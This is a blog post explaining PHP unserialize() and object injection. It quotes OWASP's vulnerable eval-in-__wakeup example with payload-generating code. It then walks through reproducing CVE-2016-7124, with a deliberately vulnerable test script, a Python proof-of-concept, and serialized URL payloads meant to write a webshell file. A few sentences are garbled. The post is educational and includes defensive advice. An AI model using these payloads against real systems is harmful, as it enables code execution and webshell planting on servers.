How PHP's unserialize() works, and why it leads to vulnerabilities

PHP's unserialize() function

In a nutshell, PHP's unserialize() function takes a string(representing a serialized object) and converts it back to a PHP object.

Basically, when you need to store a PHP object or transfer it over the network, you first user serialize() to pack it up.
serialize(): PHP object -> plain old string that represents the obj
Then when you need to use that data again, you use unserialize() to unpack and get the data that you want.
unserialize(): string containing object data -> original object

The details

According to PHP docs, unserialize() "creates a PHP value from a stored representation", and "takes a single serialized variable and converts it back into a PHP value".

It takes two parameters: str and option. str is the parameter containing the serialized string waiting to be deserialized. option is the array containing the options that control certain function behaviors. In unserialize() particularly, the only valid user-defined option is allowed_classes. allowed_classes specify the class names that should be accepted.

We'll dive into allowed_classes further, but essentially, when unserialize() encounters an object of a class that isn't to be accepted, then the object will be instantiated as __PHP_Incomplete_class instead.

How it works

Step 0: What are PHP magic methods?

PHP magic methods are function names in PHP that have "magical" properties.

The magic methods relevant for us now are __wakeup(), and __destruct(). If the class of the serialized object implements any method named __wakeup() and __destruct(), these methods will be executed automatically when unserialize() is called on an object.

Step 0.1: Unserialize prerequisites

When you serialize an object in PHP, serialize() will save all properties in the object. But it will not store the methods of the class of the object, just the name of the class.

Thus, to unserialize() an object, the class of the object will have to be defined in advance (or be autoloaded). The class's definition needs to be present in the file that you unsuitable () the object in.

If the class is not already defined in the file, the object will be instantiated as __PHP_Incomplete_Class, which has no methods, and the object will essentially be useless.

Step 1: Object instatiation

Instantiation is when the program creates an instance of a class in memory. And that is what unserialize() does. It takes the serialized string, which specifies the object's class to be created and its properties. With that data, unserialize() creates a copy of the originally serialized object.
It will then search for a function named __wakeup() and execute code in that function if it is defined for the class.__wakeup() is called to reconstruct any resources that the object may have. It is often used to reestablish any database connections that may have been lost during serialization and perform other reinitialization tasks.

Step 2: Program uses the object

The program can then operate on the object and use it to perform other actions.

Step 3: Object destruction

Finally, when no reference to the deserialized object instance exists, __destruct() is called.

How vulnerabilities happen in unserialize()

When an attacker controls a serialized object passed into unserialize(), he can control the created object's properties. This will allow him to hijack the application's flow by controlling the values passed into automatically executed methods like __wakeup().
This is called a PHP object injection. PHP object injection can lead to code execution, SQL injection, path traversal, or DoS, depending on the context in which it happened.

For example, consider this vulnerable code snippet:(taken from https://www.owasp.org/index.php/PHP_Object_Injection)

class Example2
{
   private $hook;
   function __construct()
   {
      // some PHP code...
   }
   function __wakeup()
   {
      if (isset($this->hook)) eval($this->hook);
   }
}
// some PHP code...
$user_data = unserialize($_COOKIE['data']);
// some PHP code...

An attacker can achieve RCE using this deserialization flaw because a user-provided object is passed into unserialize. The class Example2 has a magic function that runs eval() on user-provided input.

To exploit this RCE, the attacker simply has to set his data cookie to a serialized Example2 object with the hook property set to whatever PHP code he wants to execute. She can generate the serialized object using the following code snippet:

class Example2
{
      private $hook = "phpinfo();";
}
print urlencode(serialize(new Example2)); 

In this case, passing the above-generated string into the data cookie will cause phpinfo() to be executed. Once the attacker passes the serialized object into the program, the following is what will happen in detail:

  1. The attacker passes a serialized Example2 object into the program as the data cookie.
  2. The program calls unserialize() on the data cookie.
  3. Because the data cookie is a serialized Example2 object, unserialize() instantiates a new Example2 object.
  4. unserialize() sees that the Example2 class has __wakeup() implemented, so __wakeup() is called.
  5. __wakeup() looks for the \(hook property of the object, and if it is not NULL, it runs eval(\)hook)
  6. $hook is not NULL and is set to "phpinfo();",so eval("phpinfo();") is run.
  7. RCE is achieved.

Prerequisites for the exploit

There are a few conditions that have to be met for this to be exploitable. Let's look at this chart again, as it points to important exploit prerequisites:

The deserialized object's class needs to be defined(or autoloaded) and needs to be allowed.
The 's classobject's class must implement some magic method that allows an attacker to inject code into it.
And there you have it! That's how unserialize() leads to dangerous vulnerabilities.

How to protect against unserialize() vulnerabilities

To prevent PHP object injection from happening, it is recommended to never pass untrusted user input into unserialize(). Consider using JSON to pass serialized data to and from the user. And if you do need to pass untrusted, serialized data into unserialize(), be sure to implement rigorous data validation to minimize the risk of a critical vulnerability.

CVE-2016-7124 PHP deserialization vulnerability recurrence

0x00 Reason for the vulnerability
If the class exists __wakeup method and the number of serialized string properties over the real properties number, the program will skip __wakeup function.
0x01 Versions are affected
PHP5<5.6.25
PHP7<7.0.10
0x02 Vulnerability Details
PHP(Hypertext preprocessor) is an open-source common computer script language maintained by phpgroup and open source community. The language is mainly used for web development and supports various databases and operating systems. ext/standard/var in php5.6.25 and7.x before 7.0.10. There is a security vulnerability in the unserializer.c file because the program does not properly handle invalid objects. A remote attacker can exploit this vulnerability to cause a denial of service with the aid of specially crafted serialized data.
0x03 Construction of the environment for the recurrence of Vulnerability
Using Windows 10 operating system, build phpstudy one key integration environment and build web services.
Here you need to set the PHP version to a vulnerable version.
I use PHP5.4.45+Apache+MySQL one-click integration environment.

docker pull ricardson/apache-php5.4
docker run -d -p 80:80 --name=apache-php54 ricardson/apache-php5.4
docker exec -it apache-php54 /bin/bash

0x04 Vulnerability Recurrence
After setting up, we need to write the test script first
The test script is as follows:

<?php

class test{
    public $name = "faairy";
    public function  __wakeup(){
        echo "this is __wakeup<br>";
    }
    public function __destruct(){
        echo "this is __destruct<br>";
    }
}

$str = $_GET["s"];
@$un_str = unserialize($str);

echo  $un_str->name."<br>";

?>

The script indicates the received parameter and outputs the value of name property after deserializing it.

Write POC to access the script:

import requests

content = requests.get('http://localhost/test.php?s=O:4:"test":1:{s:4:"name";s:5:"fairy";}')

print(content.text)
#this is __wakeup<br>fairy<br>this is __destruct<br>

The access results are in the following figure:

According to the access results, you can see the __wakeup method and __destruct method both are called.

Change the number of objects variables of the incoming serialization data from 1 to 2. The page only executes __destruct method with no output name due to a failure in deserializing data, and the object cannot be created.

Modify the test script as following:

<?php

class test{
    public $name = "fairy";

    public function  __wakeup(){
        echo "this is __wakeup<br>";
        foreach(get_object_vars($this) as $k => $v){
            $this->$k = null;
        }
    }
    public function __destruct(){
        echo "this is __destruct<br>";
        $fp = fopen("2333.php","w");
        fputs($fp,$this->name);
        fclose($fp);
    }
}

$str = $_GET["s"];
@$un_str = unserialize($str);

echo  $un_str->name."<br>";
?>
touch 2333.php
chmod 777 2333.php

Construct POC to write one-word trojan

POC: http://localhost/test.php?s=O:4:"test":1:{s:4:"name";s:29:"";}

Find the content of the written file is empty, indicating that the write failed.
The reasons for failure are: __destruct method writes parameter to file when called, but __wakeup method clears the object properties, so the __destruct has no name attribute, so the file will fail to write.

Change the number of object attributes in POC to 2.

POC as follows: http://localhost/test.php?s=O:4:"test":2:{s:4:"name";s:29:"";}


posted @ 2021-02-03 14:49  咕咕鸟GGA  阅读(217)  评论(0编辑  收藏  举报